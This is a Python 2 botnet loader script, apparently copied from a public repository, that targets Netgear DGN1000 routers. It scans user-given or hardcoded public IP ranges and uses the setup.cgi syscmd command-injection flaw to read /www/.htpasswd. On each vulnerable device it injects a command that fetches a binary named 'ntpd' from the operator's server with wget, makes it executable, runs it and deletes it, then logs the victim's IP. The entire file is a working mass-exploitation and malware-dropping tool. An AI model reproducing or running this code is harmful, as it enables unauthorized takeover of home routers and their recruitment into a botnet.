Path: blob/master/Botnets/Exploits/DGN1000 SCAN/dgn1000_scan_load.py
5038 views
import threading, urllib2, random, socket, time, sys, os12ports = [5000, 80, 8080, 8888]3blacklisted = ["127.0","10.0","192.168"]45found = 06hosts = 07othreads = 089if len(sys.argv) < 4:10sys.exit("Usage: python " + sys.argv[0] + " <threads> <start-range> <end-range> <ip>")1112server_ip = sys.argv[4]1314print """\nStarting Scan."""15os.system("color 0a")1617def ngscanner(ip):18global ports19global found20global hosts21global othreads22global passwords23try:24thisipisbad='no'25for badip in blacklisted:26if badip in ip:27thisipisbad='yes'28if thisipisbad=='yes':29sys.exit()30for port in ports:31try:32s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)33s.settimeout(3)34s.connect((ip, port))35s.close()36ppport = port37except:38pass3940hosts += 141dobreak=False42if ppport != 80:43rs = urllib2.urlopen("http://" + ip + ":" + str(ppport) + "/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=cat+/www/.htpasswd&curpath=/¤tsetting.htm=1")44else:45rs = urllib2.urlopen("http://" + ip + "/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=cat+/www/.htpasswd&curpath=/¤tsetting.htm=1")46if "admin:" in rs.read():47badserver=False48else:49othreads = othreads - 150sys.exit()51badserver=False52if badserver == False:53print "Found! -> " + ip54if ppport != 80:55url = "http://" + ip + ":" + str(ppport) + "/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=wget%20http://" + server_ip + "/ntpd%20-O%20/var/tmp/ntpd;%20chmod%20777%20/var/tmp/ntpd;%20/var/tmp/ntpd;%20rm%20-rf%20/var/tmp/ntpd&curpath=/¤tsetting.htm=1"56else:57url = "http://" + ip + "/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=wget%20http://" + server_ip + "/ntpd%20-O%20/var/tmp/ntpd;%20chmod%20777%20/var/tmp/ntpd;%20/var/tmp/ntpd;%20rm%20-rf%20/var/tmp/ntpd&curpath=/¤tsetting.htm=1"58rs = urllib2.urlopen(url, timeout=5)59vuln = open("netgear.txt", "a").write(ip + "\n")60othreads = othreads - 161except Exception as e:62#print e63othreads = othreads - 1646566if sys.argv[2] == "LUCKY":67ranges = ["206.59.0.0/206.59.255.255", "94.29.100.0/94.29.255.255", "91.140.100.0/91.140.255.255", "197.89.0.0/197.89.255.255"]68randomrange = random.choice(ranges)69startrng = randomrange.split("/")[0]70endrng = randomrange.split("/")[1]7172if sys.argv[2] != "LUCKY":73a = int(sys.argv[2].split(".")[0])74b = int(sys.argv[2].split(".")[1])75c = int(sys.argv[2].split(".")[2])76d = int(sys.argv[2].split(".")[3])77else:78a = int(startrng.split(".")[0])79b = int(startrng.split(".")[1])80c = int(startrng.split(".")[2])81d = int(startrng.split(".")[3])82x = 0838485print "Scanning " + str(a) + "." + str(b) + "." + str(c) + ".*"86while(True):87try:8889if sys.argv[2] != "LUCKY":90endaddr = sys.argv[3]91else:92endaddr = endrng9394d += 19596ipaddr = str(a) + "." + str(b) + "."+str(c)+"."+str(d)9798if endaddr == (ipaddr or str(a) + "." + str(b) + "."+str(c)+"."+str(d-1)):99if sys.argv[2] == "LUCKY":100randomrange = random.choice(ranges)101startrng = randomrange.split("/")[0]102endrng = randomrange.split("/")[1]103a = int(startrng.split(".")[0])104b = int(startrng.split(".")[1])105c = int(startrng.split(".")[2])106d = int(startrng.split(".")[3])107else:108break109110if d > 255:111c += 1112d = 0113print "Scanning " + str(a) + "." + str(b) + "." + str(c) + ".*"114115if c > 255:116b += 1117c = 0118print "Scanning " + str(a) + "." + str(b) + "." + str(c) + ".*"119120if b > 255:121a += 1122b = 0123print "Scanning " + str(a) + "." + str(b) + "." + str(c) + ".*"124125ipaddr = str(a) + "." + str(b) + "."+str(c)+"."+str(d)126127if ipaddr == endaddr:128if sys.argv[2] == "LUCKY":129randomrange = random.choice(ranges)130startrng = randomrange.split("/")[0]131endrng = randomrange.split("/")[1]132a = int(startrng.split(".")[0])133b = int(startrng.split(".")[1])134c = int(startrng.split(".")[2])135d = int(startrng.split(".")[3])136else:137break138139othreads += 1140141while(othreads >= int(sys.argv[1])):142time.sleep(1)143144t = threading.Thread(target=ngscanner, args=(ipaddr,))145t.start()146147except Exception as e:148pass149150print "\x1b[37mDone\x1b[37m"151152